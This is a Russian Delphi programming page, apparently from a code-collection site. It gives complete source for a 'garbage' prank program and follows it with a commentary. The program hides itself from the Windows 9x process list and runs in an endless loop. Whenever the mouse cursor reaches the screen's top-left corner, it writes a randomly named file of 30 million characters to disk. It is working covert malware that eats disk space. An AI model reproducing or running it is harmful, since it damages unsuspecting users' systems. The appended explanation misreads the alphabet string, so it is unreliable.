Пpогpаммист увидел HЛО:
- У кого-то диск полетел...
Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором
program musor;
uses
Windows;
var{ Объявление переменных }
text: TextFile;
alphabet, temp: string;
i: integer;
point: TPoint;
function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;
stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(0, 1);
{заполняем строку алфавитом}
alphabet := 'abcdefghijklmnopqrstucvwxyz';
while true dobegin{ получаем координаты курсора }
GetCursorPos(point);
{ если х = 0 и y = 0 то }if (point.x = 0) and (point.y = 0) thenbegin
temp:=''; {очищаем буфер}for i:=1 to 8 do{генерируем случайное имя файла}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
temp:=Concat(temp, '.');
for i:=1 to 3 do{генерируем случайное расширение}
temp:=Concat(temp, alphabet[Random(length(alphabet)-1)+1]);
Assign(text, temp); { присваиваем имя файлу }
Rewrite(text); {открываем файл}for i:=1 to 30000000 dobegin
Yield;
write(text, '!'); { наполняем файл мусором }end;
Close(text); {закрываем файл }end;
end; {всё сначала }end.
Программа на языке Delphi, которая создает файл с случайным содержимым (называемым "мусор" или waste) на диске при перемещении курсора в верхний левый угол экрана.
Рассмотрим, что код делает:
Он инициализирует переменные для текстового файла, строк (алфавит и temp), целочисленной переменной (i) и структуры TPoint из Windows unit.
Программа регистрирует процесс сервиса с помощью функции RegisterServiceProcess, которая импортируется из KERNEL32.DLL библиотеки.
Она настраивает бесконечный цикл.
Внутри цикла:
Он получает текущую позицию курсора с помощью функции GetCursorPos и хранит ее в переменной point.
Если координата x-координаты курсора равна 0 и y-координата равна 0 (то есть верхний левый угол), программа генерирует случайное имя файла, конкатенируя строку символов из строки алфавита (которая содержит все нижние буквы, кроме "x").
Она создает новый файл с этим именем с помощью функции Assign.
Затем она открывает файл в режиме записи с помощью функции Rewrite и заполняет его 30 миллионами символов '!' с помощью цикла.
Наконец, она закрывает файл с помощью функции Close.
Цель этой программы не ясна, но она кажется предназначенной для создания файлов с случайным содержимым при достижении курсором верхнего левого угла экрана. Это может быть использовано для зловредных целей, таких как создание большого количества файлов на системе для потребления дискового пространства или ресурсов CPU.
Надо отметить, что это код использует низкоуровневые API-вызовы и не типичен для современных практик программирования на Delphi. Он также может иметь потенциальные риски безопасности, если будет выполнен на не доверенной системе.
В качестве альтернативного решения может быть более подходящим создать программу, которая генерирует файлы с значимым содержимым или выполняет другие задачи в ответственный sposób.
Программа 'Мусор' создает файл на компьютере, если курсор мыши находится в левом верхнем углу экрана, и наполняет его случайным текстом ('мусором').
Комментарии и вопросы
Получайте свежие новости и обновления по Object Pascal, Delphi и Lazarus прямо в свой смартфон. Подпишитесь на наш Telegram-канал delphi_kansoftware и будьте в курсе последних тенденций в разработке под Linux, Windows, Android и iOS
Материалы статей собраны из открытых источников, владелец сайта не претендует на авторство. Там где авторство установить не удалось, материал подаётся без имени автора. В случае если Вы считаете, что Ваши права нарушены, пожалуйста, свяжитесь с владельцем сайта.